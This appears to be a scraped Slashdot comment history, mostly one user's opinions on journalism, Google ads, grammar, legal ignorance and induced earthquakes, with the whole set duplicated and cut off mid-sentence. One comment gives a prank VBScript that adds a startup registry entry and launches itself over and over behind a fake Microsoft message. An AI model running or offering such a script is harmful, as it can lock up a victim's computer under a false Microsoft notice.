Interesting idea, but, how do we answer these questions?
If this were something that could be litigated in a civil court, and assuming the plaintiff wins, how does the award get distributed fairly, and who does it go to?
What happens if the defendant successfully counter-sues? Who pays the award then?
Sticky situations that I don't know the answer to.
OTOH, someone could spin the argument to say, "See, Windows is Better, it is harder to bork!"
(Now, I must go wash my hands in gasoline, shower in hydrochloric acid, and gargle windex, in hopes of avoiding the plague I feel descending upon me for making such a heinous point.)
This is my feeble attempt to apologize to those that I may have offended, as I've realized that I have been coming on way too strong lately, and have realized that I need to tone it down a few notches. Pretty weak, huh?
I'm just trying to convey to you that newspapers and journalism are doomed thanks to Craigslist, Google and Ebay but you seem to be in denial of the obvious.
We are in agreement that journalism, in the form it exists today, appears to be in trouble (If they don't do something about it.)
That you are placing the blame on specific companies bothers me. I would contend that if none of those specific companies existed, there would be others that would be doing the same thing with varying degrees of success, and the problem for journalists would not be much different.
I'm not enough of a Luddite to think it can be stopped. I just worry about a world in which we no longer have investigative journalists.
I think this is where the main disagreement lies. I may be too much of an optimist, but, I cannot imagine that there will ever be a time where investigative journalism will not exist. I think the logistics of the profession will change (mostly how news is delivered to the reader, and who the natural successor to the newspaper that employs the journalists are), but, I think there will always be a need for people who perform the task professionally. I can't see this going away as a significant portion of the population will not accept investigative stories from amateurs (at least not for long).
We already have too much unbridled corruption in this world. Without journalism at all chances are it will just get worse.
This is true, and always will be true, unfortunately. It's human nature. As long as people care about injustices like this, there will be a call for watchdogs (journalists) to get the word out.
There is something that bothers me about this however. Maybe it is just part of the aging process, but the trend I think I have seen as I grow older, is that journalism (due to corporate marketing trends, and tailoring of news more towards sensationalism, to appease the apparently shortened attention spans that people exhibit these days) has been slowly moving away from what it used to be, and becoming less valuable. (I'm not stating this as fact, just my impression.)
"I'm not sure Google makes money on their search business"
You don't seem to be grasping how the world works which must be why I'm not making any head way with my argument. Google search business IS their ad business. The two are one and the same. Their search business drives their ad business. They have some ad business not search related through Doubleclick but their river of money comes from ads next to their search results.
If you didn't know that explains why you aren't grasping any of the rest of this thread.
I think I might be grasping more than you give me credit for, but, I'm not after credit, only a good discussion of the issue, and maybe we can help to spark an idea to solve the problem, somehow.
This is how I see it (I hope you see value in it):
Google search is a service, not a product. It is how they attract viewers, which are their true product, that they sell advertising space to advertisers on the results pages.
That is analogous to a newspaper which runs news stories. This is also a service.
The news stories attract viewers, which are their true product, to sell advertising space to advertisers on their printed pages, or on their websites.
I don't think there is really any distinction between the two, so far, except the services that each provide to attract their product (viewers) are different, but achieve the same goal.
Thank you for clearing that up. I regret that we are in a virtual pissing contest.
Yes, I am guilty of latching on to your initial statement, making extreme examples for illustrative purposes, and attacking your character as a result.
Uncool of me, so apologies for coming off extreme, attacking your character, and over-reacting to the message your post appeared to contain.
Looking the original statement that you made:
Personally, I feel that people alive 150 years from now are imaginary people, and would thus gladly shove the big one at them instead of taking a bunch of smaller ones now.
How do you read that statement and not come away with the implied message that it is perfectly acceptable to ingnore the future state of things, as long as we don't have any consequences we have to suffer, and who cares what consequences that someone else suffers as a result of our actions, or inactions?
If your statement should be interpreted differently, then I would be interested in reading a clarification of your statement.
I understand that you predicated this statement with a question of, "what if it was 150 years from now", but, the time frame is arbitrary. That is the reason for the ridiculous time frame I used in my response. The point being who knows what will happen at any point in the future, and why would you, or I, do anything, if we didn't care about the future?
The point I was trying to make (albeit poorly, too extreme, and made a king-size ass of myself in the process) was that if you change the time that the very destructive earthquake may happen to a time in the future within your potential life span - say 20 years from now, I would guess that the statement you made would no longer apply, and you would be much more interested in doing something to prevent it if you could, even though there would likely be plenty of people in the world that are currently imaginary by your definition.
The above content is not intended to attack your character, or insult your intelligence, so please don't take it as such. I will drop this discussion now, unless you seriously want to continue the discussion.
(I should just give up now... Frickin' Slashdot post editor formatting... Maybe the third time is the charm.)
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage:
...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)...
...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (e.g., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
(sorry about the formatting snafu in the above post)
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage:...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)......the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (e.g., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage:...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)......the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (e.g., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
The private citizen does not have a "I didn't know" rule. In fact, the general rule is that ignorance of the law is not a defense.
(Emphasis mine.)
Please tell me I am not the only person who feels this is unjust.
I don't think there is any way that anyone could be aware of all of the laws that could possibly affect them. Not without spending most, if not all, of their lifetime reading all of the laws that exist, and may be passed between the time they start, and the time they finish. That doesn't strike me as reasonable.
I think there should be some legal ignorance provision in the constitution for all citizens to keep them from being prosecuted through the existence of gray area laws that may never have occurred to them.
(I'm not defending anything in particular here except my belief that it should not be okay for government to say that ignorance is not an excuse.)
Here is my off the cuff idea:
I would like to see a constitutional amendment that requires fundamental unlawful acts be required knowledge for citizens before a they can be held legally responsible for their acts, and before their full rights of citizenship are established.
We should be able to come up with the fundamental unlawful acts (e.g., murder, rape, assault, etc.) that people need to be informed about. This would be bare-bones list of the acts that are obviously wrong that can be derived from the content of the constitution.
This knowledge would be transferred by the government in the form of a mandatory class (for all citizens - no if's, and's, or but's). The class would probably be best administered in schools, and government centers set up for this purpose. There are sure to be some logistic problems to work out, but shouldn't be too bad to implement.
Once a person has taken this class, then they will be given the rest of their rights. At this point, there is no excuse for a citizen violating any of those fundamental laws, and they can be prosecuted accordingly if they violate any of them.
There should be a second part of that amendment includes language along the lines of:
"If a person should break a law that is not on the fundamental list, then they should get a one-time free pass, unless it can be shown beyond a reasonable doubt that the person who broke that law had knowledge that the act they allegedly committed was illegal."
If a person gets a free pass, they do not get a second free pass on the law(s) they violated. If they break any particular law again, they should be fully acquainted with that law, and they can be prosecuted accordingly.
In short, I'm saying we ought to have a right to not be held accountable for some obscure law that might never occur to us.
There ought to be two categories of laws. Fundamental, and Free-Pass. It would be up to the government to classify which category each of the existing laws belong in which category, and then any new laws would be categorized by lawmakers at the time of the bill's introduction. There would have to be some criteria defined in order to do this properly.
I know that this would require a lot more thought, and refinement, to implement it. But, this seems like a reasonable solution towards avoiding penalizing people for the odd laws that are on the books, that most would never conceive existed, until they ran afoul of them.
I appreciate the grammar lesson there. I really do struggle over i.e., and e.g., and never remember to look it up when I have time.
However, I still struggled with it for a long while before I could see that it might be an example, and not a restatement of the idea.
The statement is worded as:
...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)...
Removing the superfluous words (to simplify for my feeble mind), and removing the negatives, I come up with:
"...something [is] porn (i.e., abused or molested),...".
And, it finally clicks that it is an example. Man, I'm either out of practice, or getting dumber by the day.
Anybody have a copy of Remedial English for Dummies that I can borrow?
(Kids, don't try this at home. You parents will be pissed. There may be some errors in the following that keep it from actually running.)
' BorkMe.vbs
set objShell = CreateObject("WScript.Shell") set objFSO = CreateObject("Scripting.FileSystemObject") strWinDir = objShell.ExpandEnvironmentStrings("%WINDIR%") objShell.RegWrite("HKLM\Software\Microsoft\Windows\Current Version\Run\" & strWinDir & "\borkyou.vbs") set objBorkScript = objFSO.OpenTextFile(strWinDir & "borkyou.vbs", 1, true) objBorkScript.WriteLine "intX = 0" objBorkScript.WriteLine "set objShell = CreateObject(""WScript.Shell"")" objBorkScript.WriteLine "Do while intX 0" objBorkScript.WriteLine "objShell.Run(""wscript.exe borkyou.vbs"")" objBorkScript.WriteLine "Loop" objBorkScript.close set objBorkScript = Nothing set objFSO = Nothing set objShell = Nothing msgbox "Thank you for choosing Microsoft products. You should reboot now." & vbcrlf & vbcrlf & "If you should experience any issues with your computer" & _
"Please upgrade to Windows 7.", vbOKOnly, "Microsoft Thanks You"
I am not a Linux fanboy. However, I currently have 6 computer systems.
All of them run some form of Debian, or Mythbuntu. I have to say, the improvements over the years have been pretty good on Linux systems.
Windows has always been too expensive for my personal tastes. The last time I spent any money on a Microsoft Operating System/Application was when Windows 95 came out, and I upgraded the used computer I bought (came with Win 3.1) to Win 95a. (What a nightmare that was...) I felt like the $50 bucks (or what ever the upgrade was) was too much money, too.
This is not to say that I haven't been running Windows NT, 2000, or XP. After all, supporting those operating systems is what I've done for a living the last decade. It's just that I don't run those on my personal systems, and I let the company I work for choose what operating system they want on their computer.
Using the logic of your statement, the people that may exist in 10 minutes are just imaginary, too.
You could get hit by a bus tomorrow! Why plan for next week?
Do you have any plans for tonight, this weekend? If so, why did you bother making them? After all, it's just an imaginary event.
What about your ancestors? Did any of them give a hoot what was in store for their children, or their children's children? Don't you think they cared about what the future would look like for their descendants? (I'll give them a free pass on some of the environmental fuck-ups - the ones that they didn't understand the repercussions of, such as asbestos, ozone depletion, etc. just because those mistakes are found in any type of progress).
If your argument is that the future population is imaginary, and you shouldn't try to plan long-term for coming generations because it won't affect you, then I think your logic is somewhat flawed, and extremely self-centered.
I don't have kids, and I don't intend to have any. That doesn't mean that I'm not willing to do reasonable things towards the goal of giving your descendants a decent place to live.
I'm shocked at how good people feel about this, and how much license many of the commenters are willing to give to this venture even if it is known to possible trigger a significant seismic event.
Why are you shocked? I think it is a good thing when people are honestly attempting to find solutions to existing problems. If it is known to possibly trigger significant seismic events, then it is very likely that said event will be much less powerful than if it was simply left to happen on its own.
What if this were being funded by Exxon instead of KP + Google?
I'm sure that you would get a lot of poorly thought out resistance. OMG, Big Oil Sucks!
That's the way people are, and you can argue logically, screaming from the top of your soap box, and no matter what, people are still going to act on their feelings, rather than cold logic.
Personally, I don't care who is funding the project, as long as a company such as AltaRock, or Exxon, or some other company that has real-world experience in drilling is running the operation.
I doubt people would be as dismissive of the risks involved.
I doubt there is a single person on the planet who know what all of the real risks are, much less how to avoid them. But, if you aren't willing to take risks to try to find answers to the problems that need to be solved, you are not very likely to produce any real answers. You are not helping, you're just a drain on the system.
filing for patents on improving the process is the whole point of funding something like this, not building a single power station, but gaining the know-how and experience necessary to scale it and the IP protections necessary to prevent others firms from exploiting the knowledge gained
This is where I get so frustrated by our society. How did we ever let this patent/copyright/trademark/intellectual property crap get so out of control that it should even be a concern when trying to solve real-world problems that really will benefit everyone, when solved?
I just realized that I never addressed your questions in this post.
I live approximately 30 miles south of Phoenix, AZ.
We have a couple of local papers that are just more, or less, wannabe papers (delivered monthly). I read them, however, in the last three years, I can't remember a story that was published, that was anything that I even remotely cared about. Some people may find something interesting, but, if they are actually interested in the reported articles, and want to do something with that information, they will be at least a month late to the party.
I don't subscribe to the Phoenix daily papers, because I don't see much value in them, either. Anything that is a big deal will be on the evening news, or word-of-mouth will get the information out, if it is really important.
To put it bluntly, the local papers (including the Phoenix ones) are pretty much good for bird cage lining, IMO -YMMV.
Any news that is important to me, I will either see on the Internet, by either using Google news, or by specifically searching for more information on a topic that I want to know about.
Almost all print news coverage on the internet comes originally from old school newspapers.
You referenced this in a different post (specifically mentioning the Associated Press, and Reuters) that I failed to address well.
I think that the Internet news sources will still be pulling a lot from, and contributing to, these organizations. The only way I see this changing is if someone finds a better way of being the hub, and begins competing with them.
The one place where internet coverage really really sucks is local coverage.
This is the area that the local newspaper has to figure out how to offer value, if they want to stay alive. This really shouldn't be too difficult, I don't think. But, they will need to change over to being an Internet News Source, too. They need to focus on the local stories/issues, and pursue those exclusively.
As for Local/National/World News and AP/Reuters: (This is just off the cuff. More work needed.)
I don't know about you, but I think it is a real waste to have 10,892 redundant web pages (which take up server resources, electricity, etc.), all picked up from the same AP feed, all showing the same exact story about how the Obama's dog licked its butt. (Gross, but it makes the point.)
One of the reasons I don't like the traditional newspapers version of Internet News is that they seem to think that they all need to have a page dedicated to each story that comes in over the AP. This creates a problem in that every newspaper is competing to get their viewers eyes the same story all of the other newspapers are carrying. That takes up a lot of space, unnecessarily, which is pretty expensive, and you really cut down your chances of selling your advertising.
What I think they ought to do, is get together, create a single website, and share it. They group would publish all of the AP stories that the group determines are important enough to publish on a national/global level.
If there is some sort of concern over monopoly, then create the iABC, iCBS, iNBC equivalents for journalism, and have a small number of groups that compete against each other as the TV networks do.
The advertising prospects for the concentrated website model could be great. The advertising revenue would be divided by the companies who make up that group. They might even assign a team of Global Journalists whose job would be special assignments/territories in the world. The salary would be paid for out of the Advertising revenue.
That would leave each local newspaper/news source free to concentrate on local news, and the content that is specific to that local newspaper/news source is all they would need to worry about. The national/world news would still get reported to the wire services because the local stories will still be uploaded to the news hubs by the local journalist.
Slashdot Mirror
Interesting idea, but, how do we answer these questions?
If this were something that could be litigated in a civil court, and assuming the plaintiff wins, how does the award get distributed fairly, and who does it go to?
What happens if the defendant successfully counter-sues? Who pays the award then?
Sticky situations that I don't know the answer to.
LOL, I like it!
OTOH, someone could spin the argument to say, "See, Windows is Better, it is harder to bork!"
(Now, I must go wash my hands in gasoline, shower in hydrochloric acid, and gargle windex, in hopes of avoiding the plague I feel descending upon me for making such a heinous point.)
The whining statement refers to the emotional arguments.
"I hope I haven't offended you personally"
Not sure what makes you think I am...
This is my feeble attempt to apologize to those that I may have offended, as I've realized that I have been coming on way too strong lately, and have realized that I need to tone it down a few notches. Pretty weak, huh?
I'm just trying to convey to you that newspapers and journalism are doomed thanks to Craigslist, Google and Ebay but you seem to be in denial of the obvious.
We are in agreement that journalism, in the form it exists today, appears to be in trouble (If they don't do something about it.)
That you are placing the blame on specific companies bothers me. I would contend that if none of those specific companies existed, there would be others that would be doing the same thing with varying degrees of success, and the problem for journalists would not be much different.
I'm not enough of a Luddite to think it can be stopped. I just worry about a world in which we no longer have investigative journalists.
I think this is where the main disagreement lies. I may be too much of an optimist, but, I cannot imagine that there will ever be a time where investigative journalism will not exist. I think the logistics of the profession will change (mostly how news is delivered to the reader, and who the natural successor to the newspaper that employs the journalists are), but, I think there will always be a need for people who perform the task professionally. I can't see this going away as a significant portion of the population will not accept investigative stories from amateurs (at least not for long).
We already have too much unbridled corruption in this world. Without journalism at all chances are it will just get worse.
This is true, and always will be true, unfortunately. It's human nature. As long as people care about injustices like this, there will be a call for watchdogs (journalists) to get the word out.
There is something that bothers me about this however. Maybe it is just part of the aging process, but the trend I think I have seen as I grow older, is that journalism (due to corporate marketing trends, and tailoring of news more towards sensationalism, to appease the apparently shortened attention spans that people exhibit these days) has been slowly moving away from what it used to be, and becoming less valuable. (I'm not stating this as fact, just my impression.)
"I'm not sure Google makes money on their search business"
You don't seem to be grasping how the world works which must be why I'm not making any head way with my argument. Google search business IS their ad business. The two are one and the same. Their search business drives their ad business. They have some ad business not search related through Doubleclick but their river of money comes from ads next to their search results.
If you didn't know that explains why you aren't grasping any of the rest of this thread.
I think I might be grasping more than you give me credit for, but, I'm not after credit, only a good discussion of the issue, and maybe we can help to spark an idea to solve the problem, somehow.
This is how I see it (I hope you see value in it):
Google search is a service, not a product. It is how they attract viewers, which are their true product, that they sell advertising space to advertisers on the results pages.
That is analogous to a newspaper which runs news stories. This is also a service.
The news stories attract viewers, which are their true product, to sell advertising space to advertisers on their printed pages, or on their websites.
I don't think there is really any distinction between the two, so far, except the services that each provide to attract their product (viewers) are different, but achieve the same goal.
I was just taken aback by how cavalier everyone was about this particular project
...people's tendency in these posts to dismiss risk as irrelevant really rubs me the wrong way.
Completely understandable position to take. Nothing wrong with a voice of caution.
Thank you for clearing that up. I regret that we are in a virtual pissing contest.
Yes, I am guilty of latching on to your initial statement, making extreme examples for illustrative purposes, and attacking your character as a result.
Uncool of me, so apologies for coming off extreme, attacking your character, and over-reacting to the message your post appeared to contain.
Looking the original statement that you made:
Personally, I feel that people alive 150 years from now are imaginary people, and would thus gladly shove the big one at them instead of taking a bunch of smaller ones now.
How do you read that statement and not come away with the implied message that it is perfectly acceptable to ingnore the future state of things, as long as we don't have any consequences we have to suffer, and who cares what consequences that someone else suffers as a result of our actions, or inactions?
If your statement should be interpreted differently, then I would be interested in reading a clarification of your statement.
I understand that you predicated this statement with a question of, "what if it was 150 years from now", but, the time frame is arbitrary. That is the reason for the ridiculous time frame I used in my response. The point being who knows what will happen at any point in the future, and why would you, or I, do anything, if we didn't care about the future?
The point I was trying to make (albeit poorly, too extreme, and made a king-size ass of myself in the process) was that if you change the time that the very destructive earthquake may happen to a time in the future within your potential life span - say 20 years from now, I would guess that the statement you made would no longer apply, and you would be much more interested in doing something to prevent it if you could, even though there would likely be plenty of people in the world that are currently imaginary by your definition.
The above content is not intended to attack your character, or insult your intelligence, so please don't take it as such. I will drop this discussion now, unless you seriously want to continue the discussion.
(I should just give up now... Frickin' Slashdot post editor formatting... Maybe the third time is the charm.)
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage:
...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
i.e. - I Expand
e.g. - Example Given
(sorry about the formatting snafu in the above post)
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage: ...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)... ...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (e.g., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
i.e. - I Expand
e.g. - Example Given
Just to clarify (or, maybe not), my conundrum is that I am having a difficult time deciding which is more correct based on the usage: ...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)... ...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (e.g., no children were actually abused or molested)...
Artifakt states that the second is correct grammatically. My initial thought was that the first was correct. I'm just trying to work it out, and don't seem to be making any progress on it. (How frustrating.)
I don't know if there is an established cheat method, but, I intend to use these phrases to help remember which to use:
i.e. - I Expand
e.g. - Example Given
I forgot to add the corrected line after that. It should read:
"...something [is] porn (e.g., abused or molested),..."
Because those are examples of porn, not a further clarification, right?
If not, then I am in even worse shape than I thought.
I always thought that the burden of proof must come from the prosecution, especially in a criminal proceeding.
Is this not the case any longer? Was it ever? If not, this is disturbing on so many levels.
The private citizen does not have a "I didn't know" rule. In fact, the general rule is that ignorance of the law is not a defense.
(Emphasis mine.)
Please tell me I am not the only person who feels this is unjust.
I don't think there is any way that anyone could be aware of all of the laws that could possibly affect them. Not without spending most, if not all, of their lifetime reading all of the laws that exist, and may be passed between the time they start, and the time they finish. That doesn't strike me as reasonable.
I think there should be some legal ignorance provision in the constitution for all citizens to keep them from being prosecuted through the existence of gray area laws that may never have occurred to them.
(I'm not defending anything in particular here except my belief that it should not be okay for government to say that ignorance is not an excuse.)
Here is my off the cuff idea:
I would like to see a constitutional amendment that requires fundamental unlawful acts be required knowledge for citizens before a they can be held legally responsible for their acts, and before their full rights of citizenship are established.
We should be able to come up with the fundamental unlawful acts (e.g., murder, rape, assault, etc.) that people need to be informed about. This would be bare-bones list of the acts that are obviously wrong that can be derived from the content of the constitution.
This knowledge would be transferred by the government in the form of a mandatory class (for all citizens - no if's, and's, or but's). The class would probably be best administered in schools, and government centers set up for this purpose. There are sure to be some logistic problems to work out, but shouldn't be too bad to implement.
Once a person has taken this class, then they will be given the rest of their rights. At this point, there is no excuse for a citizen violating any of those fundamental laws, and they can be prosecuted accordingly if they violate any of them.
There should be a second part of that amendment includes language along the lines of:
"If a person should break a law that is not on the fundamental list, then they should get a one-time free pass, unless it can be shown beyond a reasonable doubt that the person who broke that law had knowledge that the act they allegedly committed was illegal."
If a person gets a free pass, they do not get a second free pass on the law(s) they violated. If they break any particular law again, they should be fully acquainted with that law, and they can be prosecuted accordingly.
In short, I'm saying we ought to have a right to not be held accountable for some obscure law that might never occur to us.
There ought to be two categories of laws. Fundamental, and Free-Pass. It would be up to the government to classify which category each of the existing laws belong in which category, and then any new laws would be categorized by lawmakers at the time of the bill's introduction. There would have to be some criteria defined in order to do this properly.
I know that this would require a lot more thought, and refinement, to implement it. But, this seems like a reasonable solution towards avoiding penalizing people for the odd laws that are on the books, that most would never conceive existed, until they ran afoul of them.
Yeah, but just in Tennessee. So, you have to ask yourself, "All things considered, is that such a bad thing?"
(I am kidding.)
Actually, in a perfect world, there would be no dangerous perverts.
I appreciate the grammar lesson there. I really do struggle over i.e., and e.g., and never remember to look it up when I have time.
However, I still struggled with it for a long while before I could see that it might be an example, and not a restatement of the idea.
The statement is worded as:
...the SCOTUS ruling stated essentially that if it appears to be child pornography, but really isn't (i.e., no children were actually abused or molested)...
Removing the superfluous words (to simplify for my feeble mind), and removing the negatives, I come up with:
"...something [is] porn (i.e., abused or molested),...".
And, it finally clicks that it is an example. Man, I'm either out of practice, or getting dumber by the day.
Anybody have a copy of Remedial English for Dummies that I can borrow?
Okay, I failed to see your logic.
If your logic wasn't something along the lines of "Screw the world, as long as it doesn't affect me", then what was it?
Care to try again?
You are missing an important issue that muddies the waters a bit. (Ignoring the piracy issue you mentioned.)
Support call fees. (Assume that each customer would need a maximum of 1 support call, and that we are talking about retail users.)
If you sell 100 copies at $300, you have $30,000 total, and 100 users to support.
When you charge each user a $35.00 fee for technical support, your potential revenue from these users is $3500.00.
If you sell 1000 copies at $30, you still have $30,000, but now you must support 1000 users.
Here you have a potential revenue of $35,000.00 for technical support.
So, that looks like a potential revenue for 100 users is $33,500.00, compared to $65,000.00.
Now which way looks more attractive?
Who needs an application to do that?
Script the borking!
(Kids, don't try this at home. You parents will be pissed. There may be some errors in the following that keep it from actually running.)
' BorkMe.vbs
set objShell = CreateObject("WScript.Shell")
set objFSO = CreateObject("Scripting.FileSystemObject")
strWinDir = objShell.ExpandEnvironmentStrings("%WINDIR%")
objShell.RegWrite("HKLM\Software\Microsoft\Windows\Current Version\Run\" & strWinDir & "\borkyou.vbs")
set objBorkScript = objFSO.OpenTextFile(strWinDir & "borkyou.vbs", 1, true)
objBorkScript.WriteLine "intX = 0"
objBorkScript.WriteLine "set objShell = CreateObject(""WScript.Shell"")"
objBorkScript.WriteLine "Do while intX 0"
objBorkScript.WriteLine "objShell.Run(""wscript.exe borkyou.vbs"")"
objBorkScript.WriteLine "Loop"
objBorkScript.close
set objBorkScript = Nothing
set objFSO = Nothing
set objShell = Nothing
msgbox "Thank you for choosing Microsoft products. You should reboot now." & vbcrlf & vbcrlf & "If you should experience any issues with your computer" & _
"Please upgrade to Windows 7.", vbOKOnly, "Microsoft Thanks You"
I am not a Linux fanboy. However, I currently have 6 computer systems.
All of them run some form of Debian, or Mythbuntu. I have to say, the improvements over the years have been pretty good on Linux systems.
Windows has always been too expensive for my personal tastes. The last time I spent any money on a Microsoft Operating System/Application was when Windows 95 came out, and I upgraded the used computer I bought (came with Win 3.1) to Win 95a. (What a nightmare that was...) I felt like the $50 bucks (or what ever the upgrade was) was too much money, too.
This is not to say that I haven't been running Windows NT, 2000, or XP. After all, supporting those operating systems is what I've done for a living the last decade. It's just that I don't run those on my personal systems, and I let the company I work for choose what operating system they want on their computer.
I don't do Windows, and I don't like Apples.
Using the logic of your statement, the people that may exist in 10 minutes are just imaginary, too.
You could get hit by a bus tomorrow! Why plan for next week?
Do you have any plans for tonight, this weekend? If so, why did you bother making them? After all, it's just an imaginary event.
What about your ancestors? Did any of them give a hoot what was in store for their children, or their children's children? Don't you think they cared about what the future would look like for their descendants? (I'll give them a free pass on some of the environmental fuck-ups - the ones that they didn't understand the repercussions of, such as asbestos, ozone depletion, etc. just because those mistakes are found in any type of progress).
If your argument is that the future population is imaginary, and you shouldn't try to plan long-term for coming generations because it won't affect you, then I think your logic is somewhat flawed, and extremely self-centered.
I don't have kids, and I don't intend to have any. That doesn't mean that I'm not willing to do reasonable things towards the goal of giving your descendants a decent place to live.
I'm shocked at how good people feel about this, and how much license many of the commenters are willing to give to this venture even if it is known to possible trigger a significant seismic event.
Why are you shocked? I think it is a good thing when people are honestly attempting to find solutions to existing problems. If it is known to possibly trigger significant seismic events, then it is very likely that said event will be much less powerful than if it was simply left to happen on its own.
What if this were being funded by Exxon instead of KP + Google?
I'm sure that you would get a lot of poorly thought out resistance. OMG, Big Oil Sucks!
That's the way people are, and you can argue logically, screaming from the top of your soap box, and no matter what, people are still going to act on their feelings, rather than cold logic.
Personally, I don't care who is funding the project, as long as a company such as AltaRock, or Exxon, or some other company that has real-world experience in drilling is running the operation.
I doubt people would be as dismissive of the risks involved.
I doubt there is a single person on the planet who know what all of the real risks are, much less how to avoid them. But, if you aren't willing to take risks to try to find answers to the problems that need to be solved, you are not very likely to produce any real answers. You are not helping, you're just a drain on the system.
filing for patents on improving the process is the whole point of funding something like this, not building a single power station, but gaining the know-how and experience necessary to scale it and the IP protections necessary to prevent others firms from exploiting the knowledge gained
This is where I get so frustrated by our society. How did we ever let this patent/copyright/trademark/intellectual property crap get so out of control that it should even be a concern when trying to solve real-world problems that really will benefit everyone, when solved?
Making the bullet causes people to get shot!
I can't tell if you are serious with your statement, or not. So, ignore me if you are trying to be funny.
Human interaction is the ONLY cause for a gunshot. It doesn't matter if it is an intentional act, or an accidental occurrence.
These incidents will ALWAYS have a root cause that can be traced back to a HUMAN BEING that was careless, or had bad intentions.
Don't blame the equipment, it is not capable of choosing how it is manipulated.
Do you blame the baseball bat someone clobbered you over the head with?
I am not a geologist, however, setting off small earthquakes seems like a very good idea in terms of preventing the big earthquakes.
I think of it as analogous to setting off small avalanches in the mountains to prevent big avalanches.
Really, I don't see it as any different from using a pressure relief valve in a steam system.
Knee-jerk (non-thought out) response:
Losing the 7th largest economy in the entire world is not a bad thing when that economy is helping to drag the others down.
I just realized that I never addressed your questions in this post.
I live approximately 30 miles south of Phoenix, AZ.
We have a couple of local papers that are just more, or less, wannabe papers (delivered monthly). I read them, however, in the last three years, I can't remember a story that was published, that was anything that I even remotely cared about. Some people may find something interesting, but, if they are actually interested in the reported articles, and want to do something with that information, they will be at least a month late to the party.
I don't subscribe to the Phoenix daily papers, because I don't see much value in them, either. Anything that is a big deal will be on the evening news, or word-of-mouth will get the information out, if it is really important.
To put it bluntly, the local papers (including the Phoenix ones) are pretty much good for bird cage lining, IMO -YMMV.
Any news that is important to me, I will either see on the Internet, by either using Google news, or by specifically searching for more information on a topic that I want to know about.
Almost all print news coverage on the internet comes originally from old school newspapers.
You referenced this in a different post (specifically mentioning the Associated Press, and Reuters) that I failed to address well.
I think that the Internet news sources will still be pulling a lot from, and contributing to, these organizations. The only way I see this changing is if someone finds a better way of being the hub, and begins competing with them.
The one place where internet coverage really really sucks is local coverage.
This is the area that the local newspaper has to figure out how to offer value, if they want to stay alive. This really shouldn't be too difficult, I don't think. But, they will need to change over to being an Internet News Source, too. They need to focus on the local stories/issues, and pursue those exclusively.
As for Local/National/World News and AP/Reuters: (This is just off the cuff. More work needed.)
I don't know about you, but I think it is a real waste to have 10,892 redundant web pages (which take up server resources, electricity, etc.), all picked up from the same AP feed, all showing the same exact story about how the Obama's dog licked its butt. (Gross, but it makes the point.)
One of the reasons I don't like the traditional newspapers version of Internet News is that they seem to think that they all need to have a page dedicated to each story that comes in over the AP. This creates a problem in that every newspaper is competing to get their viewers eyes the same story all of the other newspapers are carrying. That takes up a lot of space, unnecessarily, which is pretty expensive, and you really cut down your chances of selling your advertising.
What I think they ought to do, is get together, create a single website, and share it. They group would publish all of the AP stories that the group determines are important enough to publish on a national/global level.
If there is some sort of concern over monopoly, then create the iABC, iCBS, iNBC equivalents for journalism, and have a small number of groups that compete against each other as the TV networks do.
The advertising prospects for the concentrated website model could be great. The advertising revenue would be divided by the companies who make up that group. They might even assign a team of Global Journalists whose job would be special assignments/territories in the world. The salary would be paid for out of the Advertising revenue.
That would leave each local newspaper/news source free to concentrate on local news, and the content that is specific to that local newspaper/news source is all they would need to worry about. The national/world news would still get reported to the wire services because the local stories will still be uploaded to the news hubs by the local journalist.
If there